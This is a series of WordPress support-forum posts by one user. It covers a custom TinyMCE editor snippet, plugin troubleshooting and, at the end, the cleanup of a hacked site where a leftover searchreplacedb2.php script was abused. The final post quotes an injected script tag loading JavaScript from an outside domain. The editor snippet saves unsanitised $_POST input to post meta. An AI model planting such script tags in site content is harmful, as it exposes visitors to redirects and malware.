appleaday

Many thanks, Steve!
Many thanks, Jan!

Andrea

Many thanks, Alan!

Andrea

I did appreciate your hint, thanks!

Though I didn’t properly get the way you added the edit_form_advanced action.

I eventually used something like what follows.

add_action('edit_form_after_title', 'custom_tinymce_editor');
function custom_tinymce_editor () {

   global $post;
   if ( 'my_custom_post_type' !== $post->post_type) {
    return;
   }
   $custom = get_post_custom( $post->id );
   $desc = $custom[ "_desc" ][ 0 ];

   $textarea_id = 'desc';
   echo '<p>something to display</p>';
   $wp_editor_settings = array(
                                'tinymce' => true,
                                'textarea_name' => '_desc',
                                'quicktags' => false,
                                'media_buttons' => true
   );
   wp_editor($desc, $textarea_id, $wp_editor_settings);
   echo '<p>still something to display</p>';
}

This way I avoided having the TinyMCE code mixed with the code of a meta box (it could still work, but it gave me an unpleasant idea of disorder).

I’m still puzzled, though, because I’m still using a code that mentions meta…

update_post_meta( $post->ID, "_desc", $_POST[ "_desc" ]);

But desc is no more handled by a meta box… should I mind that?

Thanks!

Andrea

An in-depth reading of the guidelines helped.

To people possibly facing the issued I described I suggest in particular Instagram requirements and Troubleshooting in the page at the URL I report below.

https://docs.social-streams.com/article/46-authenticate-with-facebook

If your feeds are showing the “(#100) Tried accessing nonexisting field (business_discovery) on node type (Page)” error, please make sure that during the authentication process you connected the Facebook page with the Instagram account connected.

The sentence quoted above might be a sum-up.

I apologize: I could eventually de-activate with no pain for the website after fixing the problem at the URL below (not related to this plugin anyway).

https://www.ads-software.com/support/topic/href-values-disappear-from-main-menu-items-upon-requesting-home-page-via-https/

Andrea

• This reply was modified 5 years, 8 months ago by appleaday.

I apologize: this plugin turned out to be completely innocent, the php code of the “Hero Nav” plugin was instead involved (I fixed it).

Andrea

You gave me a good prompt, Spencer. Following that track I got with a sort of visual editor I’m not familiar with (I didn’t personally choose the theme and its tools), that way I could add a WYSIWYG input box in the main content column, similar to input text seen for pages, there in “text mode” I added the shortcodes in the tailored HTML code and they could actually be interpreted.

Many thanks!!!

Andrea

@rening1964 I’m afraid I didn’t get what you mean. As far as I could see it was enough to use the script seachreplacedb2.php to inject some javascript code in posts (by simply using the script in the way it is normally used). I cannot see how the php file you mentioned could be involved.

I’m afraid I didn’t get for sure the question, anyway I try to answer.
I can tell for sure where the file is and where there isn’t, since I never thought of giving it a completely unrelated name, except for the last time I used it, and I’m pretty sure I removed each copy of the script from any virtual host in use.

In the meantime I also gave a look at the other tables (“posts” involves articles and static pages, I saw..) but I couldn’t find any table where something could be profitably be inserted with a “search and replace” operation. For the moment I can assume the aim of the intrusion was just spamming pages and articles with redirections (the mentioned <script>). But I wonder what I paid Wordfence intervention could do in my stead.

Thanks!

I do appreciate your remark, thanks. That was enough for me to change the database user and password anyway, though actually that user had no remote access, and the new user has no remote access, as well.

That’s why, if I got your remark correctly, it’s worth questioning just about possible “searching and replacing” via the searchreplacedb2.php script. I wouldn’t throw away an entire installation just because I suspect something evil might still hide in the database, should I?

I assume such an attack is not an act of vandalism, i.e. with the aim of destroying or spoil the contents – with evident outstanding effects – but instead aims to achieve some profit – redirecting to some other page was what I saw – without being noticed for the longest time possible.

There’s no use to specify I’m not a security expert – if I was I wouldn’t confess such a mistake like the one I made – but I assumed a deeper knowledge of WP tables and their roles would help in “guessing” what kind of substitutions would be useful for an attacker in tables other than “posts”. That’s the real target of my request for help.

It’s worth specifying the website is now apparently in good order, though of course to feel completely safe I have to go further with investigations: how? ??

Thanks in advance!

UPDATE: I found several additions in the bodies of the posts, like the one below, coming before an anchor tag.

<script src=’https://traffictrade.life/scripts.js&#8217; type=’text/javascript’></script>

I used the same searchreplacedb2.php with the name changed to purge the tables from that rubbish and eventually delete that copy. Now I wonder what else I should check. Possibly any <script>…</script> in the bodies fo the posts?
What else?

Thanks in advance!